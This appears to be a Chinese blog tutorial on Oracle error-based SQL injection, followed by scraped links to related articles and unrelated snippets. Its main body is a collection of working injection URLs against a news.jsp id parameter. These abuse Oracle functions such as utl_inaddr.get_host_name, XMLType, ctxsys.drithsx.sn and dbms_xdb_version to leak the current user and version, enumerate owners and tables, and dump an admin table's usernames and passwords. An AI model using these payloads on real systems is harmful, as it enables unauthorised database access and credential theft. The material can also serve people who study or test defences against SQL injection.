Oracle报错注入总结
0x00 前言
在oracle注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中。
使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式。
判断注入
http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from user_tables)>0 --
http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from dual)>0 --

0x01 报错函数注入
utl_inaddr.get_host_name()进行报错注入
and 1=utl_inaddr.get_host_name((select user from dual))--
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--
utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。
我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。通常非常重要的信息有:

ctxsys.drithsx.sn()进行报错注入
http://www.jsporcle.com/news.jsp?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

XMLType()进行报错注入
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
http://www.jsporcle.com/news.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --

dbms_xdb_version.checkin()进行报错注入
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
查询版本信息
http://www.jsporcle.com/news.jsp?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --

bms_xdb_version.makeversioned()进报错注入
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
dbms_xdb_version.uncheckout()进行报错注入
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
dbms_utility.sqlid_to_sqlhash()进行报错注入
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
ordsys.ord_dicom.getmappingxpath()进行报错注入
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
decode进行报错注入
这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --
0x02 报错函数注入数据
Oracle 数据库的注入不同于其他数据库,如Access 和Mysql,它包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名
爆库 第一行记录
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (SELECT DISTINCT owner FROM all_tables where rownum=1) from dual))--

爆表 第一行第一个记录
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --

第二个记录
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$'))) --

报错admin表的 用户和密码
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--

其他报错函数大同小异。
Oracle报错注入总结的更多相关文章
- oracle报错注入的一些函数
oracle 报错注入 select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum ...
- 大哥带我走渗透4(中)----oracle报错注入
5/30 报错注入 0x01 准备阶段 1. 基础知识今天了解了,但是,只能看懂和最基本的理解,不能自己上路.所以,还是要不停学习基础.并且及时总结.这有一篇很详细的文章:https://www.cn ...
- 大哥带的Orchel数据库的报错注入
0X01 使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式. news.jsp? ...
- SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}
首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...
- Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]
在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...
- 又一种Mysql报错注入
from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的M ...
- 案例:Oracle报错ASM磁盘组不存在或没有mount
案例:Oracle报错ASM磁盘组不存在或没有mount 环境:RHEL 6.5 + Oracle Standby RAC 11.2.0.4 我做Standby RAC实验时,在恢复控制文件时,报错无 ...
- Mysql报错注入原理分析(count()、rand()、group by)
Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...
- cmseasy CmsEasy_5.6_20151009 无限制报错注入(parse_str()的坑)
来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137013.html parse_str()引发的注入, //parse_str()的作用是 ...
随机推荐
- flume learning---Flume 集群搭建
在flume搭建集群模式时,首先需要进入conf目录, 1.cp flume-env.sh.template flume-env.sh 2.cp flume-conf.properties.templ ...
- Winforn中实现ZedGraph自定义添加右键菜单项(附源码下载)
场景 Winform中实现ZedGraph中曲线右键显示为中文: https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/100115292 ...
- Python基础(十)
今日主要内容 补充:传参与参数分配区别 动态传参 函数注释 名称空间 函数名的使用 函数嵌套 global和nonlocal 补充:传参与参数分配区分 先看一个函数定义和函数调用 def func(a ...
- charles 反向代理
本文参考:charles 反向代理 这个比较有逼格了: 正向代理和反向代理的区别: 正向代理:是代理客户端,为客户端收发请求,使真实客户端对服务器不可见:在客户这一端的,替客户收发请求(类似现在正常使 ...
- prometheus-operator告警模块alertmanager注意事项(QQ邮箱发送告警)--大大坑
在/stable/prometheus-operator/values.yaml配置告警邮件 config: global: resolve_timeout: 5m smtp_smarthost: ' ...
- C++基础之string类
string也是属于顺序容器,但是string类很重要且经常使用,因此在这里单独记录. string的操作总结 string(const char *s,int n); //用c字符串s初始化,s应 ...
- 【转】在Linux下搭建Git服务器
在 Linux 下搭建 Git 服务器 环境: 服务器 CentOS6.6 + git(version 1.7.1)客户端 Windows10 + git(version 2.8.4.windows. ...
- js控制滚动条在内容更新超出时自动滚到底部
//滚动条在内容更新时自动滚到底部var message = document.getElementById('message');message.scrollTop = message.scroll ...
- Javascript的基础
ECMAScript(语法.标准) BOM(浏览器) DOM(网页) ECMAScript是一个标准,它规定了语法.类型.语句.关键字.保留子.操作符.对象.(相当于法律) BOM(浏览器对象模型): ...
- 读《深入理解Elasticsearch》点滴-对象类型、嵌套文档、父子关系
一.对象类型 1.mapping定义文件 "title":{ "type":"text" }, "edition":{ ...